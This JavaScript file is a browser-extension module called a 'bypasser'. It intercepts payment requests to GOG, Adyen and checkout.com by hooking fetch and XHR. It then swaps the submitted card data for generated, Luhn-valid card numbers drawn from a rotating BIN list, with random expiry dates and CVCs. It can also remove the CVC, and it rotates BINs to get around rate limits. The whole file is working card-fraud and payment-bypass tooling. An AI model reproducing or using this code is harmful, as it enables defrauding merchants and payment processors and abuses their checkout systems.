1005 lines
29 KiB
JavaScript
1005 lines
29 KiB
JavaScript
/**
|
|
* ============================================================================
|
|
* GOG/Adyen Payment Handler Module (Modularized Version)
|
|
* ============================================================================
|
|
* 功能:
|
|
* 1. 攔截 GOG/Adyen 支付請求
|
|
* 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams)
|
|
* 3. 根據 BIN 列表自動生成有效卡號
|
|
* 4. 替換原始請求中的卡號、有效期、CVC
|
|
* 5. 支持 CVC 移除邏輯
|
|
* 6. 輪詢多個 BIN 以繞過頻率限制
|
|
*
|
|
* 使用方式:
|
|
* const handler = new GogPaymentHandlerModule(config);
|
|
* handler.init();
|
|
* ============================================================================
|
|
*/
|
|
|
|
class GogPaymentHandlerModule {
|
|
constructor(config = {}) {
|
|
// 默認配置
|
|
this.config = {
|
|
enabled: true, // 是否啟用模塊
|
|
debug: false, // 調試模式
|
|
removeCvc: false, // 是否移除 CVC
|
|
binList: [], // BIN 列表 (例: ['424242', '378282'])
|
|
autoRotateBin: true, // 自動輪詢 BIN
|
|
targetDomains: [ // 目標域名
|
|
'gog.com',
|
|
'adyen.com',
|
|
'checkout.com'
|
|
],
|
|
targetKeywords: [ // URL 關鍵詞
|
|
'payment',
|
|
'checkout',
|
|
'adyen',
|
|
'paymentMethods',
|
|
'payments'
|
|
],
|
|
cardFields: { // 卡字段映射
|
|
number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'],
|
|
month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'],
|
|
year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'],
|
|
cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc']
|
|
},
|
|
saveToStorage: true, // 保存最後使用的卡信息
|
|
storageKeys: {
|
|
lastCard: 'gogBypasserLastCardString',
|
|
lastCardJson: 'gogBypasserLastCardJSON',
|
|
binIndex: 'gogBypasserBinIndex'
|
|
},
|
|
...config
|
|
};
|
|
|
|
// 運行時狀態
|
|
this.currentBinIndex = 0;
|
|
this.lastResetTime = Date.now();
|
|
this.processedRequests = new Set();
|
|
this.cardGenerator = null;
|
|
|
|
// 原始方法引用
|
|
this.originalFetch = null;
|
|
this.originalXHROpen = null;
|
|
this.originalXHRSend = null;
|
|
|
|
// 綁定方法
|
|
this.handleFetch = this.handleFetch.bind(this);
|
|
}
|
|
|
|
/**
|
|
* 初始化模塊
|
|
*/
|
|
init() {
|
|
this.log('Initializing GOG Payment Handler Module...');
|
|
|
|
// 1. 加載 BIN 索引
|
|
this.loadBinIndex();
|
|
|
|
// 2. 初始化卡號生成器
|
|
this.initCardGenerator();
|
|
|
|
// 3. Hook 網絡請求
|
|
this.hookFetch();
|
|
this.hookXHR();
|
|
|
|
// 4. 註冊消息監聽
|
|
this.setupMessageListener();
|
|
|
|
// 5. 暴露全局接口
|
|
this.exposeGlobalAPI();
|
|
|
|
this.log('Module initialized successfully');
|
|
}
|
|
|
|
/**
|
|
* 銷毀模塊
|
|
*/
|
|
destroy() {
|
|
if (this.originalFetch) {
|
|
window.fetch = this.originalFetch;
|
|
}
|
|
if (this.originalXHROpen) {
|
|
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
|
}
|
|
if (this.originalXHRSend) {
|
|
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
|
}
|
|
|
|
this.log('Module destroyed');
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* BIN 管理
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 加載 BIN 索引
|
|
*/
|
|
loadBinIndex() {
|
|
try {
|
|
if (this.config.saveToStorage && window.localStorage) {
|
|
const saved = localStorage.getItem(this.config.storageKeys.binIndex);
|
|
if (saved) {
|
|
this.currentBinIndex = parseInt(saved, 10) || 0;
|
|
}
|
|
}
|
|
} catch (e) {
|
|
this.warn('Failed to load BIN index from storage:', e);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 保存 BIN 索引
|
|
*/
|
|
saveBinIndex() {
|
|
try {
|
|
if (this.config.saveToStorage && window.localStorage) {
|
|
localStorage.setItem(
|
|
this.config.storageKeys.binIndex,
|
|
String(this.currentBinIndex)
|
|
);
|
|
}
|
|
} catch (e) {
|
|
// Ignore
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 獲取下一個 BIN
|
|
*/
|
|
getNextBin() {
|
|
if (this.config.binList.length === 0) {
|
|
this.warn('BIN list is empty');
|
|
return null;
|
|
}
|
|
|
|
const bin = this.config.binList[this.currentBinIndex % this.config.binList.length];
|
|
|
|
if (this.config.autoRotateBin) {
|
|
this.currentBinIndex++;
|
|
this.saveBinIndex();
|
|
}
|
|
|
|
return bin;
|
|
}
|
|
|
|
/**
|
|
* 更新 BIN 列表
|
|
*/
|
|
updateBinList(newBins) {
|
|
if (Array.isArray(newBins)) {
|
|
this.config.binList = newBins
|
|
.filter(b => b && typeof b === 'string')
|
|
.map(b => b.trim())
|
|
.filter(b => b.length >= 6);
|
|
} else if (typeof newBins === 'string') {
|
|
// 支持換行符分隔
|
|
this.config.binList = newBins
|
|
.split('\n')
|
|
.map(b => b.trim())
|
|
.filter(b => b.length >= 6);
|
|
}
|
|
|
|
this.log('BIN list updated:', this.config.binList);
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 卡號生成器
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 初始化卡號生成器
|
|
*/
|
|
initCardGenerator() {
|
|
// 嘗試使用全局生成器
|
|
if (window.StripeBypasserCardGenerator) {
|
|
this.cardGenerator = window.StripeBypasserCardGenerator;
|
|
this.log('Using global card generator');
|
|
return;
|
|
}
|
|
|
|
// 否則使用內置生成器
|
|
this.cardGenerator = {
|
|
generateCard: (bin) => this.generateCardInternal(bin)
|
|
};
|
|
|
|
this.log('Using internal card generator');
|
|
}
|
|
|
|
/**
|
|
* 內置卡號生成器 (Luhn 算法)
|
|
*/
|
|
generateCardInternal(bin) {
|
|
if (!bin || bin.length < 6) {
|
|
this.error('Invalid BIN:', bin);
|
|
return null;
|
|
}
|
|
|
|
// 生成隨機補充數字 (總長度 16 位)
|
|
let cardNumber = bin;
|
|
while (cardNumber.length < 15) {
|
|
cardNumber += Math.floor(Math.random() * 10);
|
|
}
|
|
|
|
// 計算 Luhn 校驗位
|
|
const checkDigit = this.calculateLuhnCheckDigit(cardNumber);
|
|
cardNumber += checkDigit;
|
|
|
|
// 生成隨機有效期和 CVC
|
|
const currentYear = new Date().getFullYear();
|
|
const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0');
|
|
const year = String(currentYear + Math.floor(Math.random() * 5) + 1);
|
|
const cvc = String(Math.floor(Math.random() * 900) + 100);
|
|
|
|
return {
|
|
number: cardNumber,
|
|
month: month,
|
|
year: year,
|
|
cvc: cvc
|
|
};
|
|
}
|
|
|
|
/**
|
|
* Luhn 算法校驗位計算
|
|
*/
|
|
calculateLuhnCheckDigit(cardNumber) {
|
|
let sum = 0;
|
|
let shouldDouble = true;
|
|
|
|
for (let i = cardNumber.length - 1; i >= 0; i--) {
|
|
let digit = parseInt(cardNumber[i], 10);
|
|
|
|
if (shouldDouble) {
|
|
digit *= 2;
|
|
if (digit > 9) digit -= 9;
|
|
}
|
|
|
|
sum += digit;
|
|
shouldDouble = !shouldDouble;
|
|
}
|
|
|
|
const checkDigit = (10 - (sum % 10)) % 10;
|
|
return String(checkDigit);
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* Fetch Hook
|
|
* ========================================================================
|
|
*/
|
|
|
|
hookFetch() {
|
|
if (this.originalFetch) return;
|
|
|
|
this.originalFetch = window.fetch;
|
|
const self = this;
|
|
|
|
window.fetch = async function(...args) {
|
|
return await self.handleFetch(this, args, self.originalFetch);
|
|
};
|
|
|
|
this.log('Fetch API hooked');
|
|
}
|
|
|
|
async handleFetch(context, args, originalFetch) {
|
|
const [url, options = {}] = args;
|
|
const urlString = this.normalizeUrl(url);
|
|
|
|
// 檢查是否為目標請求
|
|
if (!this.isTargetRequest(urlString)) {
|
|
return await originalFetch.apply(context, args);
|
|
}
|
|
|
|
this.log('Intercepted payment request:', urlString);
|
|
|
|
// 處理支付請求
|
|
const modifiedOptions = await this.processPaymentRequest(url, options);
|
|
|
|
// 發送修改後的請求
|
|
return await originalFetch.apply(context, [url, modifiedOptions]);
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* XHR Hook
|
|
* ========================================================================
|
|
*/
|
|
|
|
hookXHR() {
|
|
if (this.originalXHROpen) return;
|
|
|
|
this.originalXHROpen = XMLHttpRequest.prototype.open;
|
|
this.originalXHRSend = XMLHttpRequest.prototype.send;
|
|
const self = this;
|
|
|
|
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
|
|
this._gogUrl = self.normalizeUrl(url);
|
|
this._gogMethod = method;
|
|
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
|
};
|
|
|
|
XMLHttpRequest.prototype.send = function(body) {
|
|
const url = this._gogUrl;
|
|
|
|
if (!self.isTargetRequest(url)) {
|
|
return self.originalXHRSend.apply(this, [body]);
|
|
}
|
|
|
|
self.log('Intercepted XHR payment request:', url);
|
|
|
|
// 處理 XHR 請求體
|
|
const options = {
|
|
method: this._gogMethod,
|
|
body: body,
|
|
headers: {}
|
|
};
|
|
|
|
self.processPaymentRequest(url, options).then(modifiedOptions => {
|
|
self.originalXHRSend.apply(this, [modifiedOptions.body]);
|
|
}).catch(err => {
|
|
self.error('XHR modification failed:', err);
|
|
self.originalXHRSend.apply(this, [body]);
|
|
});
|
|
};
|
|
|
|
this.log('XHR hooked');
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 請求處理核心邏輯
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 處理支付請求
|
|
*/
|
|
async processPaymentRequest(url, options) {
|
|
if (!this.config.enabled) {
|
|
return options;
|
|
}
|
|
|
|
// 檢查是否有 BIN 列表
|
|
if (this.config.binList.length === 0) {
|
|
this.warn('BIN list is empty, skipping modification');
|
|
return options;
|
|
}
|
|
|
|
// 獲取下一個 BIN
|
|
const bin = this.getNextBin();
|
|
if (!bin) {
|
|
return options;
|
|
}
|
|
|
|
// 生成新卡號
|
|
const card = this.cardGenerator.generateCard(bin);
|
|
if (!card) {
|
|
this.error('Failed to generate card for BIN:', bin);
|
|
return options;
|
|
}
|
|
|
|
this.log('Generated card:', {
|
|
number: card.number.slice(0, 6) + '******' + card.number.slice(-4),
|
|
month: card.month,
|
|
year: card.year
|
|
});
|
|
|
|
// 解析和修改請求體
|
|
const modifiedBody = await this.modifyRequestBody(options.body, card);
|
|
|
|
// 保存卡信息
|
|
this.saveCardInfo(card);
|
|
|
|
// 廣播事件
|
|
this.broadcastCardGenerated(card, url);
|
|
|
|
return {
|
|
...options,
|
|
body: modifiedBody
|
|
};
|
|
}
|
|
|
|
/**
|
|
* 修改請求體
|
|
*/
|
|
async modifyRequestBody(body, card) {
|
|
if (!body) return body;
|
|
|
|
const bodyType = this.detectBodyType(body);
|
|
this.log('Request body type:', bodyType);
|
|
|
|
switch (bodyType) {
|
|
case 'json':
|
|
return this.modifyJsonBody(body, card);
|
|
case 'formdata':
|
|
return this.modifyFormDataBody(body, card);
|
|
case 'urlsearchparams':
|
|
return this.modifyUrlSearchParamsBody(body, card);
|
|
case 'string':
|
|
return this.modifyStringBody(body, card);
|
|
default:
|
|
return body;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 檢測請求體類型
|
|
*/
|
|
detectBodyType(body) {
|
|
if (typeof body === 'string') {
|
|
try {
|
|
JSON.parse(body);
|
|
return 'json';
|
|
} catch (e) {
|
|
if (body.includes('=')) {
|
|
return 'urlsearchparams';
|
|
}
|
|
return 'string';
|
|
}
|
|
}
|
|
|
|
if (body instanceof FormData) return 'formdata';
|
|
if (body instanceof URLSearchParams) return 'urlsearchparams';
|
|
if (typeof body === 'object') return 'json';
|
|
|
|
return 'unknown';
|
|
}
|
|
|
|
/**
|
|
* 修改 JSON 格式請求體
|
|
*/
|
|
modifyJsonBody(body, card) {
|
|
try {
|
|
const data = typeof body === 'string' ? JSON.parse(body) : body;
|
|
|
|
// 處理嵌套結構 (例: { card: { number: '...', ... } })
|
|
if (data.card && typeof data.card === 'object') {
|
|
data.card.number = card.number;
|
|
data.card.expiryMonth = card.month;
|
|
data.card.expiryYear = card.year;
|
|
|
|
if (this.config.removeCvc) {
|
|
delete data.card.cvc;
|
|
delete data.card.cvv;
|
|
delete data.card.securityCode;
|
|
} else {
|
|
data.card.cvc = card.cvc;
|
|
}
|
|
}
|
|
|
|
// 處理扁平結構
|
|
for (const field of this.config.cardFields.number) {
|
|
if (this.hasNestedProperty(data, field)) {
|
|
this.setNestedProperty(data, field, card.number);
|
|
}
|
|
}
|
|
|
|
for (const field of this.config.cardFields.month) {
|
|
if (this.hasNestedProperty(data, field)) {
|
|
this.setNestedProperty(data, field, card.month);
|
|
}
|
|
}
|
|
|
|
for (const field of this.config.cardFields.year) {
|
|
if (this.hasNestedProperty(data, field)) {
|
|
this.setNestedProperty(data, field, card.year);
|
|
}
|
|
}
|
|
|
|
if (this.config.removeCvc) {
|
|
for (const field of this.config.cardFields.cvc) {
|
|
this.deleteNestedProperty(data, field);
|
|
}
|
|
} else {
|
|
for (const field of this.config.cardFields.cvc) {
|
|
if (this.hasNestedProperty(data, field)) {
|
|
this.setNestedProperty(data, field, card.cvc);
|
|
}
|
|
}
|
|
}
|
|
|
|
this.log('JSON body modified successfully');
|
|
return JSON.stringify(data);
|
|
|
|
} catch (e) {
|
|
this.error('Failed to modify JSON body:', e);
|
|
return body;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 修改 FormData 格式請求體
|
|
*/
|
|
modifyFormDataBody(body, card) {
|
|
try {
|
|
const newFormData = new FormData();
|
|
|
|
for (const [key, value] of body.entries()) {
|
|
let modified = false;
|
|
|
|
// 檢查是否為卡號字段
|
|
for (const field of this.config.cardFields.number) {
|
|
if (key.includes(field) || key === field) {
|
|
newFormData.append(key, card.number);
|
|
modified = true;
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!modified) {
|
|
// 檢查月份
|
|
for (const field of this.config.cardFields.month) {
|
|
if (key.includes(field) || key === field) {
|
|
newFormData.append(key, card.month);
|
|
modified = true;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!modified) {
|
|
// 檢查年份
|
|
for (const field of this.config.cardFields.year) {
|
|
if (key.includes(field) || key === field) {
|
|
newFormData.append(key, card.year);
|
|
modified = true;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (!modified) {
|
|
// 檢查 CVC
|
|
const isCvcField = this.config.cardFields.cvc.some(f =>
|
|
key.includes(f) || key === f
|
|
);
|
|
|
|
if (isCvcField) {
|
|
if (!this.config.removeCvc) {
|
|
newFormData.append(key, card.cvc);
|
|
}
|
|
modified = true;
|
|
}
|
|
}
|
|
|
|
// 如果沒有修改,保持原值
|
|
if (!modified) {
|
|
newFormData.append(key, value);
|
|
}
|
|
}
|
|
|
|
this.log('FormData body modified successfully');
|
|
return newFormData;
|
|
|
|
} catch (e) {
|
|
this.error('Failed to modify FormData body:', e);
|
|
return body;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 修改 URLSearchParams 格式請求體
|
|
*/
|
|
modifyUrlSearchParamsBody(body, card) {
|
|
try {
|
|
const params = typeof body === 'string'
|
|
? new URLSearchParams(body)
|
|
: new URLSearchParams(body.toString());
|
|
|
|
// 替換卡號
|
|
for (const field of this.config.cardFields.number) {
|
|
if (params.has(field)) {
|
|
params.set(field, card.number);
|
|
}
|
|
}
|
|
|
|
// 替換月份
|
|
for (const field of this.config.cardFields.month) {
|
|
if (params.has(field)) {
|
|
params.set(field, card.month);
|
|
}
|
|
}
|
|
|
|
// 替換年份
|
|
for (const field of this.config.cardFields.year) {
|
|
if (params.has(field)) {
|
|
params.set(field, card.year);
|
|
}
|
|
}
|
|
|
|
// 處理 CVC
|
|
if (this.config.removeCvc) {
|
|
for (const field of this.config.cardFields.cvc) {
|
|
params.delete(field);
|
|
}
|
|
} else {
|
|
for (const field of this.config.cardFields.cvc) {
|
|
if (params.has(field)) {
|
|
params.set(field, card.cvc);
|
|
}
|
|
}
|
|
}
|
|
|
|
this.log('URLSearchParams body modified successfully');
|
|
return params.toString();
|
|
|
|
} catch (e) {
|
|
this.error('Failed to modify URLSearchParams body:', e);
|
|
return body;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 修改字符串格式請求體 (純文本或其他格式)
|
|
*/
|
|
modifyStringBody(body, card) {
|
|
try {
|
|
let modified = body;
|
|
|
|
// 使用正則表達式替換卡號模式
|
|
// 匹配 13-19 位數字
|
|
const cardNumberPattern = /\b\d{13,19}\b/g;
|
|
modified = modified.replace(cardNumberPattern, card.number);
|
|
|
|
this.log('String body modified (pattern matching)');
|
|
return modified;
|
|
|
|
} catch (e) {
|
|
this.error('Failed to modify string body:', e);
|
|
return body;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 嵌套對象處理工具
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 檢查嵌套屬性是否存在
|
|
*/
|
|
hasNestedProperty(obj, path) {
|
|
const keys = path.split('.');
|
|
let current = obj;
|
|
|
|
for (const key of keys) {
|
|
if (current && typeof current === 'object' && key in current) {
|
|
current = current[key];
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
/**
|
|
* 設置嵌套屬性
|
|
*/
|
|
setNestedProperty(obj, path, value) {
|
|
const keys = path.split('.');
|
|
let current = obj;
|
|
|
|
for (let i = 0; i < keys.length - 1; i++) {
|
|
const key = keys[i];
|
|
if (!(key in current)) {
|
|
current[key] = {};
|
|
}
|
|
current = current[key];
|
|
}
|
|
|
|
current[keys[keys.length - 1]] = value;
|
|
}
|
|
|
|
/**
|
|
* 刪除嵌套屬性
|
|
*/
|
|
deleteNestedProperty(obj, path) {
|
|
const keys = path.split('.');
|
|
let current = obj;
|
|
|
|
for (let i = 0; i < keys.length - 1; i++) {
|
|
const key = keys[i];
|
|
if (!(key in current)) {
|
|
return;
|
|
}
|
|
current = current[key];
|
|
}
|
|
|
|
delete current[keys[keys.length - 1]];
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 存儲與廣播
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 保存卡信息到 LocalStorage
|
|
*/
|
|
saveCardInfo(card) {
|
|
if (!this.config.saveToStorage) return;
|
|
|
|
try {
|
|
const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`;
|
|
|
|
localStorage.setItem(
|
|
this.config.storageKeys.lastCard,
|
|
cardString
|
|
);
|
|
|
|
localStorage.setItem(
|
|
this.config.storageKeys.lastCardJson,
|
|
JSON.stringify(card)
|
|
);
|
|
|
|
this.log('Card info saved to storage');
|
|
|
|
} catch (e) {
|
|
this.warn('Failed to save card info:', e);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 從 LocalStorage 加載最後的卡信息
|
|
*/
|
|
getLastCardInfo() {
|
|
try {
|
|
const json = localStorage.getItem(this.config.storageKeys.lastCardJson);
|
|
if (json) {
|
|
return JSON.parse(json);
|
|
}
|
|
} catch (e) {
|
|
// Ignore
|
|
}
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* 廣播卡號生成事件
|
|
*/
|
|
broadcastCardGenerated(card, url) {
|
|
// postMessage 廣播
|
|
window.postMessage({
|
|
type: 'GOG_BYPASSER_EVENT',
|
|
eventType: 'CARD_GENERATED',
|
|
card: {
|
|
number: card.number,
|
|
month: card.month,
|
|
year: card.year,
|
|
cvc: this.config.removeCvc ? null : card.cvc,
|
|
maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4)
|
|
},
|
|
url: url,
|
|
timestamp: Date.now()
|
|
}, '*');
|
|
|
|
// CustomEvent 廣播
|
|
if (document) {
|
|
document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', {
|
|
detail: {
|
|
card: card,
|
|
url: url
|
|
}
|
|
}));
|
|
}
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 工具方法
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 標準化 URL
|
|
*/
|
|
normalizeUrl(url) {
|
|
try {
|
|
if (typeof url === 'string') return url;
|
|
if (url instanceof URL) return url.toString();
|
|
if (url && url.url) return url.url;
|
|
return String(url);
|
|
} catch (e) {
|
|
return '';
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 判斷是否為目標請求
|
|
*/
|
|
isTargetRequest(url) {
|
|
if (!url) return false;
|
|
|
|
const urlLower = url.toLowerCase();
|
|
|
|
// 檢查域名
|
|
const domainMatch = this.config.targetDomains.some(domain =>
|
|
urlLower.includes(domain.toLowerCase())
|
|
);
|
|
|
|
// 檢查關鍵詞
|
|
const keywordMatch = this.config.targetKeywords.some(keyword =>
|
|
urlLower.includes(keyword.toLowerCase())
|
|
);
|
|
|
|
return domainMatch || keywordMatch;
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 消息監聽
|
|
* ========================================================================
|
|
*/
|
|
|
|
setupMessageListener() {
|
|
window.addEventListener('message', (event) => {
|
|
const data = event.data;
|
|
|
|
if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') {
|
|
this.updateConfig(data.config);
|
|
}
|
|
|
|
if (data?.type === 'GOG_HANDLER_UPDATE_BIN') {
|
|
this.updateBinList(data.bins);
|
|
}
|
|
|
|
if (data?.type === 'GOG_HANDLER_RESET') {
|
|
this.reset();
|
|
}
|
|
|
|
if (data?.type === 'GOG_HANDLER_GENERATE_CARD') {
|
|
const bin = data.bin || this.getNextBin();
|
|
const card = this.cardGenerator.generateCard(bin);
|
|
|
|
// 回復消息
|
|
window.postMessage({
|
|
type: 'GOG_HANDLER_CARD_RESPONSE',
|
|
card: card
|
|
}, '*');
|
|
}
|
|
});
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 配置管理
|
|
* ========================================================================
|
|
*/
|
|
|
|
/**
|
|
* 更新配置
|
|
*/
|
|
updateConfig(newConfig) {
|
|
Object.assign(this.config, newConfig);
|
|
|
|
// 如果更新了 BIN 列表,處理它
|
|
if (newConfig.binList) {
|
|
this.updateBinList(newConfig.binList);
|
|
}
|
|
|
|
this.log('Config updated:', this.config);
|
|
}
|
|
|
|
/**
|
|
* 重置狀態
|
|
*/
|
|
reset() {
|
|
this.currentBinIndex = 0;
|
|
this.processedRequests.clear();
|
|
this.saveBinIndex();
|
|
this.log('Module state reset');
|
|
}
|
|
|
|
/**
|
|
* 獲取當前狀態
|
|
*/
|
|
getStatus() {
|
|
return {
|
|
enabled: this.config.enabled,
|
|
binCount: this.config.binList.length,
|
|
currentBinIndex: this.currentBinIndex,
|
|
lastCard: this.getLastCardInfo(),
|
|
processedCount: this.processedRequests.size,
|
|
config: this.config
|
|
};
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 全局 API
|
|
* ========================================================================
|
|
*/
|
|
|
|
exposeGlobalAPI() {
|
|
window.gogBypasser = {
|
|
module: this,
|
|
handlePayment: (url, options) => this.processPaymentRequest(url, options),
|
|
generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()),
|
|
getStatus: () => this.getStatus(),
|
|
updateConfig: (cfg) => this.updateConfig(cfg),
|
|
updateBins: (bins) => this.updateBinList(bins),
|
|
reset: () => this.reset()
|
|
};
|
|
|
|
this.log('Global API exposed as window.gogBypasser');
|
|
}
|
|
|
|
/**
|
|
* ========================================================================
|
|
* 日誌工具
|
|
* ========================================================================
|
|
*/
|
|
|
|
log(...args) {
|
|
if (this.config.debug) {
|
|
console.log('[GOG Handler]', ...args);
|
|
}
|
|
}
|
|
|
|
warn(...args) {
|
|
if (this.config.debug) {
|
|
console.warn('[GOG Handler]', ...args);
|
|
}
|
|
}
|
|
|
|
error(...args) {
|
|
console.error('[GOG Handler]', ...args);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* ============================================================================
|
|
* 全局暴露與自動初始化
|
|
* ============================================================================
|
|
*/
|
|
window.GogPaymentHandlerModule = GogPaymentHandlerModule;
|
|
|
|
// 自動初始化選項
|
|
if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) {
|
|
const instance = new GogPaymentHandlerModule({
|
|
enabled: true,
|
|
debug: true,
|
|
binList: window.GOG_BIN_LIST || [],
|
|
removeCvc: false
|
|
});
|
|
instance.init();
|
|
window.__gogHandler = instance;
|
|
}
|
|
|
|
|
|
// ============================================================================
|
|
// Extension Compatibility Wrapper
|
|
// ============================================================================
|
|
window.addEventListener('message', (event) => {
|
|
if (event.source !== window) return;
|
|
const message = event.data;
|
|
|
|
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'gogPayment') {
|
|
if (window.__gogPaymentInstance) return;
|
|
try {
|
|
const instance = new GogPaymentHandlerModule(message.config);
|
|
instance.init();
|
|
window.__gogPaymentInstance = instance;
|
|
console.log('[Extension] GOG Payment Handler initialized');
|
|
} catch (error) {
|
|
console.error('[Extension] GOG Payment init failed:', error);
|
|
}
|
|
}
|
|
|
|
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__gogPaymentInstance') {
|
|
const instance = window.__gogPaymentInstance;
|
|
if (instance && typeof instance.destroy === 'function') {
|
|
instance.destroy();
|
|
delete window.__gogPaymentInstance;
|
|
}
|
|
}
|
|
});
|